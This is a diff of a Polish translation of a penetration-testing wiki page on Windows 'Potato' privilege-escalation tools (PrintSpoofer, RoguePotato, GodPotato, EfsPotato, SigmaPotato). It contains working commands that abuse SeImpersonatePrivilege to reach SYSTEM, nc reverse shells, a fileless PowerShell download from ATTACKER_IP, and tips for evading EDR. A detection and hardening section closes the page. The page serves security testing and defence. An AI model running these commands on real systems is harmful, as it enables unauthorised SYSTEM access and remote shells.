[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] -> Nowoczesną alternatywą często utrzymywaną w latach 2024–2025 jest SigmaPotato (fork GodPotato), która dodaje in-memory/.NET reflection usage oraz rozszerzone wsparcie dla systemów operacyjnych. Zobacz szybkie użycie poniżej oraz repozytorium w sekcji References. +> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. Related pages for background and manual techniques: @@ -22,12 +22,12 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Wymagania i częste pułapki +## Wymagania i typowe pułapki -Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z następujących uprawnień: +Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z poniższych uprawnień: - SeImpersonatePrivilege (najczęstsze) lub SeAssignPrimaryTokenPrivilege -- Wysoki poziom uprawnień (high integrity) nie jest wymagany, jeśli token już posiada SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL itp.) +- High integrity nie jest wymagany, jeśli token już ma SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL, itp.) Szybko sprawdź uprawnienia: ```cmd @@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate ``` Uwagi operacyjne: -- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i osiągalna przez lokalny punkt końcowy RPC (spoolss). W utwardzonych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato wymaga OXID resolvera osiągalnego na TCP/135. Jeśli egress jest zablokowany, użyj redirectora/port-forwardera (zobacz przykład poniżej). Starsze wersje wymagały flagi -f. -- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jeden pipe jest zablokowany, wypróbuj alternatywne pipe'y (lsarpc, efsrpc, samr, lsass, netlogon). -- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innej pipe/transportu lub upewnij się, że docelowa usługa jest uruchomiona. +- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i dostępna przez lokalny endpoint RPC (spoolss). W utwardzonych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato wymaga OXID resolver dostępnego pod TCP/135. Jeśli ruch wychodzący jest zablokowany, użyj redirector/port-forwarder (zobacz przykład poniżej). Starsze wersje wymagały flagi -f. +- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jakiś pipe jest zablokowany, spróbuj alternatywnych pipe'ów (lsarpc, efsrpc, samr, lsass, netlogon). +- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innego pipe/transportu lub upewnij się, że docelowa usługa jest uruchomiona. -## Szybkie demo +## Krótka demonstracja ### PrintSpoofer ```bash @@ -58,8 +58,8 @@ NULL ``` Notatki: -- Możesz użyć -i, aby uruchomić proces interaktywny w bieżącej konsoli, lub -c, aby wykonać jednowierszowe polecenie. -- Wymaga usługi Spooler. Jeśli jest wyłączona, operacja się nie powiedzie. +- Możesz użyć -i, aby uruchomić interaktywny proces w bieżącej konsoli, lub -c, aby uruchomić polecenie w jednej linii. +- Wymaga Spooler service. Jeśli jest wyłączony, to się nie powiedzie. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Jeśli ruch wychodzący na 135 jest zablokowany, pivot OXID resolver przez socat na swoim redirectorze: +Jeśli ruch wychodzący na porcie 135 jest zablokowany, pivot OXID resolver za pomocą socat na swoim redirectorze: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Porada: Jeśli jeden pipe zawiedzie lub EDR go zablokuje, spróbuj innych obsługiwanych pipes: +Wskazówka: Jeśli jeden pipe zawiedzie lub EDR go zablokuje, spróbuj innych obsługiwanych pipes: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notatki: +Uwaga: - Działa na Windows 8/8.1–11 oraz Server 2012–2022, gdy obecne jest SeImpersonatePrivilege. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato udostępnia dwie wersje celujące w obiekty DCOM usług, które domyślnie mają ustawiony RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binaries i uruchom swoje polecenie: +DCOMPotato udostępnia dwa warianty ukierunkowane na obiekty DCOM usług, które domyślnie używają RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binariów i uruchom swoje polecenie: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami" ``` ### SigmaPotato (zaktualizowany fork GodPotato) -SigmaPotato dodaje nowoczesne udogodnienia, takie jak in-memory execution za pomocą .NET reflection oraz PowerShell reverse shell helper. +SigmaPotato dodaje nowoczesne udogodnienia, takie jak wykonywanie w pamięci za pomocą .NET reflection oraz pomocnik PowerShell dla reverse shell. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -148,15 +148,15 @@ SigmaPotato dodaje nowoczesne udogodnienia, takie jak in-memory execution za pom # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Notatki dotyczące wykrywania i zabezpieczeń +## Wykrywanie i uwagi dotyczące utwardzania -- Monitoruj procesy tworzące named pipes i natychmiast wywołujące API duplikujące tokeny, a następnie CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatną telemetrię: Event ID 1 (tworzenie procesu), 17/18 (named pipe utworzony/podłączony) oraz linie poleceń uruchamiające procesy potomne jako SYSTEM. -- Wzmocnienie Spoolera: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest potrzebna, zapobiega lokalnym wymuszeniom w stylu PrintSpoofer poprzez spoolss. -- Wzmocnienie kont usługowych: Minimalizuj przydzielanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege niestandardowym usługom. Rozważ uruchamianie usług pod kontami wirtualnymi z minimalnymi niezbędnymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, jeśli to możliwe. -- Kontrole sieciowe: Blokowanie ruchu wychodzącego TCP/135 lub ograniczanie ruchu RPC endpoint mapper może złamać RoguePotato, chyba że dostępny jest wewnętrzny redirector. -- EDR/AV: Wszystkie te narzędzia są szeroko sygnaturowane. Rekomplilacja ze źródeł, zmiana nazw symboli/łańcuchów lub wykonywanie w pamięci może zmniejszyć wykrywalność, ale nie pokona solidnych detekcji behawioralnych. +- Monitoruj procesy tworzące named pipes i natychmiast wywołujące token-duplication APIs, po czym CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatne dane telemetryczne: Event ID 1 (tworzenie procesu), 17/18 (named pipe utworzony/podłączony) oraz linie poleceń uruchamiające procesy potomne jako SYSTEM. +- Utwardzanie Spoolera: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest potrzebna, zapobiega lokalnym wymuszeniom w stylu PrintSpoofer przez spoolss. +- Utwardzanie kont usług: Minimalizuj przypisywanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege do niestandardowych usług. Rozważ uruchamianie usług pod kontami wirtualnymi z minimalnymi wymaganymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, gdy to możliwe. +- Kontrole sieciowe: Zablokowanie wychodzącego TCP/135 lub ograniczenie ruchu RPC endpoint mapper może unieruchomić RoguePotato, chyba że dostępny jest wewnętrzny redirector. +- EDR/AV: Wszystkie te narzędzia są szeroko sygnaturowane. Przekompilowanie ze źródła, zmiana nazw symboli/strings lub użycie in-memory execution może zmniejszyć wykrywalność, ale nie pokona solidnych wykryć behawioralnych. -## Źródła +## Referencje - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)